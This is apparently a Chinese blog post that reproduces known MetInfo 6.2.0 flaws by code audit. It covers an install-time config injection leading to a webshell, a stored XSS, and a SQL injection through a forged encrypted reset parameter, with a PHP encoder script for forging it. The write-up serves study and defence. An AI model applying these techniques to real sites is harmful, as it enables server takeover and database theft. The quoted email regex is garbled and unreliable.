0%

metinfo620

前言

前段时间在先知上看到说某info 6.2.0 组合拳正好我本地也存在metinfo6.2.0想着就去复现一波metinfo的漏洞,也当是对metinfo的复习了

正文

伪全局变量

1
2
3
4
5
6
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

加密盐

在安装时会生成config/config_safe.php文件,并且向里面写入一个key值,用做账户的加密解密

connfig/config_inc.php:114中是key值生成然后再保存到$_M['config']['met_webkeys']

app/system/include/classauth.calss.php是对信息的加解密方法

getshell in install

在6.0.0(CVE-2018-7271)是这个漏洞就存在了,到了最新版也没有补

How to getshell

在安装过程中对数据库配置安全处,过滤不严可getshell

随便在一个输入框中输入*/Phpinfo()/*,然后提交表单,这时我们看一下数据传递

没有对斜杠进行转义就把数据传递出去了,然后就来到

./install/index.php:244

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
case 'db_setup':
{
if($setup==1){
$db_prefix = trim($db_prefix);
if (strstr($db_host, ":")) {
$arr = explode(":", $db_host);
$db_host = $arr[0];
$db_port = $arr[1];
}else{
$db_host = trim($db_host);
$db_port = "3306";
}
$db_username = trim($db_username);
$db_pass = trim($db_pass);
$db_name = trim($db_name);
$db_port = trim($db_port);
$config="<?php
/*
con_db_host = \"$db_host\"
con_db_port = \"$db_port\"
con_db_id = \"$db_username\"
con_db_pass = \"$db_pass\"
con_db_name = \"$db_name\"
tablepre = \"$db_prefix\"
db_charset = \"utf8\";
*/
?>";

$fp=fopen("../config/config_db.php",'w+');
fputs($fp,$config);
fclose($fp);

数据传递

我们再看一下../config/config_db.php文件

访问这个文件

因为对传入的数据过滤不严,所以在后面的管理设置中输入数据也存在存储型的xss,这里就不多说了

SQL注入

大部分的cms都会对全局参数进行过滤,metinfo也不例外,对全局参数都会进行daddslashes过滤引号,这样就导致从requests中很难挖掘到sql注入,这样的话可以考虑去追溯一下cms的加密解密

在上面已经说了加密盐的算法

全局搜索$auth->decode

这里都是对$_M['form']['p']参数进行加密,我再追溯一下这和参数怎么传递的

由此可见是直接进行全局变量传参的,进入看看是怎么进行传参的

简单说一下$email参数进入数据库的要求

1
2
3
4
5
6
$email = $auth->decode($_M['form']['p']);
// echo $email;
if(!is_email($email))$email = '';
if($email){
if($_M['form']['password']){
$user = $this->userclass->get_user_by_email($email);

需要保证$email$_M['form']['password']不为空,最后在app/system/include/class/user.class.php:644行左右进行数据库查询

1
2
3
4
5
6
7
public function get_user_by_emailid($email) 
{
global $_M;
$query = "SELECT * FROM {$_M['table']['user']} WHERE email='{$email}' AND lang='{$_M['lang']}'";
$user = DB::get_one($query);
return $user;
}

攻击流程

getpassword.class.php:90

1
2
3
4
5
6
7
8
9
10
11

public function dovalid() {
global $_M;
$auth = load::sys_class('auth', 'new');
$email = $auth->decode($_M['form']['p']);
// echo $email;
if(!is_email($email))$email = '';
if($email){
if($_M['form']['password']){
$user = $this->userclass->get_user_by_email($email);
....

从这里看我们需要进行http://localhost/网站根目录/member/getpassword.php?lang=cn&a=dovalid请求并且传入参数p,那p的值怎么获取了?

我们可以直接使用本身cms的加密算法进行获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}

print_r(urlencode(authcode($_GET['str'],'ENCODE',$_GET['key'],0)));
?>

key值可以在connfig/config_inc.php中获取,那str值需要我们怎么构造呢?

我们跟踪dovalid方法中的is_mail()

存在于app/systenm/inlude/function/str.func.php:26

1
2
3
4
5
6
7
8
function is_email($email){
$flag = true;
$patten = '/[\w-][email protected][\w-]+\.[a-zA-Z\.]*[a-zA-Z]$/';
if(preg_match($patten, $email) == 0){
$flag = false;
}
return $flag;
}

我们只需要绕那个正则就行了,缺少^

这样我们对上图的payload进行authcode,然后进行POST就行了

总结

对于漏洞复现最主要的就是学习代码审计的思路

  • 可以看看cms其他版本的老洞,然后进行测试,说不定就会得到意想不到的结果
  • 熟悉那些点容易出现漏洞,然后根据一个点对代码进行审计,对方法,参数进行回溯
  • 对于代码的过滤,可以从源代码的加解密中思考绕过

References

https://www.anquanke.com/post/id/169456

https://xz.aliyun.com/t/6440